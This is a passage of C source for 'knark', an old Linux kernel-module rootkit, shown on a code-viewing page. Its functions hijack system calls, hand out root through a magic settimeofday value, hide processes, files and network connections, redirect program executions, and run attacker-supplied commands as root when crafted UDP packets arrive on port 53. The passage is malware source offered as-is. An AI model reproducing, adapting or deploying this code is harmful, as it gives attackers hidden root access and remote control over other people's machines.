📄 knark.c
字号:
struct nethide_list *nl = knark_nethide_list; if(nl->nl_hidestr) { while(nl->next) nl = nl->next; nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL); if(nl->next == NULL) return -1; nl = nl->next; } nl->next = NULL; nl->nl_hidestr = hidestr; return 0;}int knark_clear_nethides(void){ struct nethide_list *tmp, *nl = knark_nethide_list; do { if(nl->nl_hidestr) { putname(nl->nl_hidestr); nl->nl_hidestr = NULL; } nl = nl->next; } while(nl); nl = knark_nethide_list->next; while(nl) { tmp = nl->next; kfree(nl); nl = tmp; } knark_nethide_list->next = NULL; return 0;}int knark_read(int fd, char *buf, size_t count){ int ret; char *p1, *p2; struct inode *dinode; struct nethide_list *nl = knark_nethide_list; ret = (*original_read)(fd, buf, count); if(ret <= 0 || nl->nl_hidestr == NULL) return ret; dinode = current->files->fd[fd]->f_dentry->d_inode; if(MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) return ret; if(dinode->i_ino == PROC_NET_TCP || dinode->i_ino == PROC_NET_UDP) { do { while( (p1 = p2 = (char *) strstr(buf, nl->nl_hidestr)) ) { *p1 =~ *p1; while(*p1 != '\n' && p1 > buf) p1--; if(*p1 == '\n') p1++; while(*p2 != '\n' && p2 < buf + ret - 1) p2++; if(*p2 == '\n') p2++; while(p2 < buf + ret) *(p1++) = *(p2++); ret -= p2 - p1; } nl = nl->next; } while(nl && nl->nl_hidestr); } return ret;}int knark_clear_redirects(){ struct redirect_list *tmp, *rl = knark_redirect_list; do { if(rl->rl_er.er_from) { putname(rl->rl_er.er_from); rl->rl_er.er_from = NULL; } if(rl->rl_er.er_to) { putname(rl->rl_er.er_to); rl->rl_er.er_to = NULL; } rl = rl->next; } while(rl); rl = knark_redirect_list->next; while(rl) { tmp = rl->next; kfree(rl); rl = tmp; } knark_redirect_list->next = NULL; return 0;}int knark_add_redirect(struct exec_redirect *er){ struct redirect_list *rl = knark_redirect_list; if(knark_strcmp(er->er_from, knark_redirect_path(er->er_from)) || !knark_strcmp(er->er_from, er->er_to)) return -1; if(rl->rl_er.er_from) { while(rl->next) rl = rl->next; rl->next = kmalloc(sizeof(struct redirect_list), GFP_KERNEL); if(rl->next == NULL) return -1; rl = rl->next; } rl->next = NULL; rl->rl_er.er_from = er->er_from; rl->rl_er.er_to = er->er_to; return 0;}char *knark_redirect_path(char *path){ struct redirect_list *rl = knark_redirect_list; do { if(rl->rl_er.er_from && !knark_strcmp(path, rl->rl_er.er_from)) return rl->rl_er.er_to; rl = rl->next; } while(rl); return path;}int knark_settimeofday(struct timeval *tv, struct timezone *tz){ char *hidestr; struct exec_redirect er, er_user; switch((int)tv) { case KNARK_GIMME_ROOT: current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; break; case KNARK_ADD_REDIRECT: copy_from_user((void *)&er_user, (void *)tz, sizeof(struct exec_redirect)); er.er_from = getname(er_user.er_from); er.er_to = getname(er_user.er_to); if(IS_ERR(er.er_from) || IS_ERR(er.er_to)) return -1; knark_add_redirect(&er); break; case KNARK_CLEAR_REDIRECTS: knark_clear_redirects(); break; case KNARK_ADD_NETHIDE: hidestr = getname((char *)tz); if(IS_ERR(hidestr)) return -1; knark_add_nethide(hidestr); break; case KNARK_CLEAR_NETHIDES: knark_clear_nethides(); break; default: return (*original_settimeofday)(tv, tz); } return 0;} int knark_execve(struct pt_regs regs){ int error; char *filename; lock_kernel(); filename = getname((char *)regs.ebx); error = PTR_ERR(filename); if(IS_ERR(filename)) goto out; error = do_execve(knark_redirect_path(filename), (char **)regs.ecx, (char **)regs.edx, ®s); if(error == 0) current->flags &= ~PF_DTRACE; putname(filename);out: unlock_kernel(); return error;}#define BUF_LIMIT (PAGE_SIZE - 80)int knark_read_pids(char *buf, char **start, off_t offset, int len, int unused){ struct task_struct *task; if( (task = knark_find_task(1)) == NULL) return 0; len = sprintf(buf, " EUID PID\tCOMMAND\n"); do { if(task->flags & PF_INVISIBLE) len += sprintf(buf+len, "%5d %d\t%s\n", task->euid, task->pid, task->comm); task = task->next_task; } while(task->pid != 1 && len < BUF_LIMIT); return len;}int knark_read_files(char *buf, char **start, off_t offset, int len, int unsused){ int n, i; len = sprintf(buf, "HIDDEN FILES\n"); for(n = 0; n < kfs->f_ndevs; n++) for(i = 0; i < kfs->f_dev[n]->d_nfiles; i++) len += sprintf(buf+len, "%s\n", kfs->f_dev[n]->d_name[i]); return len;}int knark_read_redirects(char *buf, char **start, off_t offset, int len, int unised){ int n, tmp=0; struct redirect_list *rl = knark_redirect_list; len = sprintf(buf, "REDIRECT FROM REDIRECT TO\n"); if(rl->rl_er.er_from == NULL) return len; while(rl) { len += tmp = sprintf(buf+len, "%s", rl->rl_er.er_from); n = 30 - tmp; memset(buf+len, ' ', n); len += n; len += sprintf(buf+len, "%s\n", rl->rl_er.er_to); rl = rl->next; } return len;}int knark_read_nethides(char *buf, char **start, off_t offset, int len, int unused){ struct nethide_list *nl = knark_nethide_list; len = sprintf(buf, "HIDDEN STRINGS (without the quotes)\n"); while(nl && nl->nl_hidestr) { len += sprintf(buf+len, "\"%s\"\n", nl->nl_hidestr); nl = nl->next; } return len;}int knark_read_author(char *buf, char **start, off_t offset, int len, int unused){ len = sprintf(buf, "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n" "* knark %s by Creed @ #hack.se 1999 <creed@sekure.net> *\n" "* *\n" "* This program may NOT be used in an illegal way *\n" "* or to cause damage of any kind. *\n" "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n" ,KNARK_VERSION); return len;}#ifdef FUCKY_REXEC_VERIFYssize_t knark_verify_rexec_fops_read(struct file *file, char *buf, size_t len, loff_t *offset){ if(file->f_pos == strlen("fikadags?\n")) return 0; len = sprintf(buf, "fikadags?\n"); file->f_pos = len; return len;}int knark_write_verify_rexec(struct file *file, const char *buf, u_long count, void *data){ int num, n; char buff[16]; n = count<16? count:16; knark_bcopy((char *)buf, buff, n); if(buff[n-1] == '\n') buff[n-1] = '\0'; else buff[n] = '\0'; num = knark_atoi(buff); if(num >= 0 && num <= 16) verify_rexec = num; file->f_pos = count; return count;}int knark_read_verify_rexec(char *buf, char **start, off_t offset, int len, int unused){ len = sprintf(buf, "Knark rexec verify-packet must be one of:\n" " 0 ICMP_NET_UNREACH\n" " 1 ICMP_HOST_UNREACH\n" " 2 ICMP_PROT_UNREACH\n" " 3 ICMP_FRAG_NEEDED\n" " 4 ICMP_FRAG_NEEDED\n" " 5 ICMP_SR_FAILED\n" " 6 ICMP_NET_UNKNOWN\n" " 7 ICMP_HOST_ISOLATED\n" " 8 ICMP_HOST_ISOLATED\n" " 9 ICMP_NET_ANO\n" " 10 ICMP_HOST_ANO\n" " 11 ICMP_NET_UNR_TOS\n" " 12 ICMP_HOST_UNR_TOS\n" " 13 ICMP_PKT_FILTERED\n" " 14 ICMP_PREC_VIOLATION\n" " 15 ICMP_PREC_VIOLATION\n" " 16 (don't verify)\n" "\n" "Currently set to: %d\n", verify_rexec); return len;}#endif /*FUCKY_REXEC_VERIFY*/int knark_execve_userprogram(char *path, char **argv, char **envp, int secret){ static char *path_argv[2]; static char *def_envp[] = { "HOME=/", "TERM=linux", "PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" "/usr/bin/X11", NULL }; static struct execve_args args; pid_t pid; if(path) args.path = path; else return -1; if(argv) args.argv = argv; else { path_argv[0] = path; path_argv[1] = NULL; } if(envp) args.envp = envp; else args.envp = def_envp; pid = kernel_thread(knark_do_exec_userprogram, (void *)&args, CLONE_FS); if(pid == -1) return -1; if(secret) knark_hide_process(pid); return pid;}int knark_do_exec_userprogram(void *data){ int i; struct fs_struct *fs; struct execve_args *args = (struct execve_args *) data; lock_kernel(); exit_fs(current); fs = init_task.fs; current->fs = fs; atomic_inc(&fs->count); unlock_kernel(); for(i = 0; i < current->files->max_fds; i++) if(current->files->fd[i]) close(i); current->uid = current->euid = current->fsuid = 0; cap_set_full(current->cap_inheritable); cap_set_full(current->cap_effective); set_fs(KERNEL_DS); if(execve(args->path, args->argv, args->envp) < 0) return -1; return 0;}int knark_udp_rcv(struct sk_buff *skb, unsigned short len){ int i, datalen; struct udphdr *uh = (struct udphdr *)(skb->data + 48); char *buf, *data = skb->data + 56; static char *argv[16]; char space_str[2]; if(uh->source != ntohs(53) || uh->dest != ntohs(53) || *(u_long *)data != UDP_REXEC_USERPROGRAM) goto bad; data += 4; datalen = ntohs(uh->len) - sizeof(struct udphdr) - sizeof(u_long); buf = kmalloc(datalen+1, GFP_KERNEL); if(buf == NULL) goto bad; knark_bcopy(data, buf, datalen); buf[datalen] = '\0'; space_str[0] = SPACE_REPLACEMENT; space_str[1] = 0; for(i = 0; i < 16 && (argv[i] = strtok(i? NULL:buf, space_str)) != NULL; i++); argv[i] = NULL; knark_execve_userprogram(argv[0], argv, NULL, 1);#ifdef FUCKY_REXEC_VERIFY if(verify_rexec >= 0 && verify_rexec < 16) icmp_send(skb, ICMP_DEST_UNREACH, verify_rexec, 0);#endif /*FUCKY_REXEC_VERIFY*/ return 0;bad: return original_udp_protocol->handler(skb, len);}int init_module(void){ inet_add_protocol(&knark_udp_protocol); original_udp_protocol = knark_udp_protocol.next; inet_del_protocol(original_udp_protocol); kfs = kmalloc(sizeof(struct knark_fs_struct), GFP_KERNEL); if(kfs == NULL) goto error; memset((void *)kfs, 0, sizeof(struct knark_fs_struct)); knark_redirect_list = kmalloc(sizeof(struct redirect_list), GFP_KERNEL); if(knark_redirect_list == NULL) goto error; memset((void *)knark_redirect_list, 0, sizeof(struct redirect_list)); knark_nethide_list = kmalloc(sizeof(struct nethide_list), GFP_KERNEL); if(knark_nethide_list == NULL) goto error; memset((void *)knark_nethide_list, 0, sizeof(struct nethide_list)); proc_register(&proc_root, &knark_dir); knark_ino = knark_dir.low_ino; proc_register(&knark_dir, &knark_pids); proc_register(&knark_dir, &knark_files); proc_register(&knark_dir, &knark_author); proc_register(&knark_dir, &knark_redirects); proc_register(&knark_dir, &knark_nethides);#ifdef FUCKY_REXEC_VERIFY proc_register(&knark_dir, &knark_verify_rexec);#endif /*FUCKY_REXEC_VERIFY*/ original_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = knark_getdents; original_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = knark_kill; original_read = sys_call_table[SYS_read]; sys_call_table[SYS_read] = knark_read; original_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = knark_ioctl; original_fork = sys_call_table[SYS_fork]; sys_call_table[SYS_fork] = knark_fork; original_clone = sys_call_table[SYS_clone]; sys_call_table[SYS_clone] = knark_clone; original_settimeofday = sys_call_table[SYS_settimeofday]; sys_call_table[SYS_settimeofday] = knark_settimeofday; original_execve = sys_call_table[SYS_execve]; sys_call_table[SYS_execve] = knark_execve; return 0;error: return -1;}void cleanup_module(void){ int i, n; inet_add_protocol(original_udp_protocol); inet_del_protocol(&knark_udp_protocol); proc_unregister(&knark_dir, knark_pids.low_ino); proc_unregister(&knark_dir, knark_files.low_ino); proc_unregister(&knark_dir, knark_author.low_ino); proc_unregister(&knark_dir, knark_redirects.low_ino); proc_unregister(&knark_dir, knark_nethides.low_ino);#ifdef FUCKY_REXEC_VERIFY proc_unregister(&knark_dir, knark_verify_rexec.low_ino);#endif /*FUCKY_REXEC_VERIFY*/ proc_unregister(&proc_root, knark_dir.low_ino); sys_call_table[SYS_getdents] = original_getdents; sys_call_table[SYS_kill] = original_kill; sys_call_table[SYS_read] = original_read; sys_call_table[SYS_ioctl] = original_ioctl; sys_call_table[SYS_fork] = original_fork; sys_call_table[SYS_clone] = original_clone; sys_call_table[SYS_settimeofday] = original_settimeofday; sys_call_table[SYS_execve] = original_execve; knark_clear_redirects(); kfree(knark_redirect_list); knark_clear_nethides(); kfree(knark_nethide_list); for(i = 0; i < kfs->f_ndevs; i++) { kfree(kfs->f_dev[i]); for(n = 0; kfs->f_dev[i]->d_name; n++) kfree(kfs->f_dev[i]->d_name); } kfree(kfs);}EXPORT_NO_SYMBOLS;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -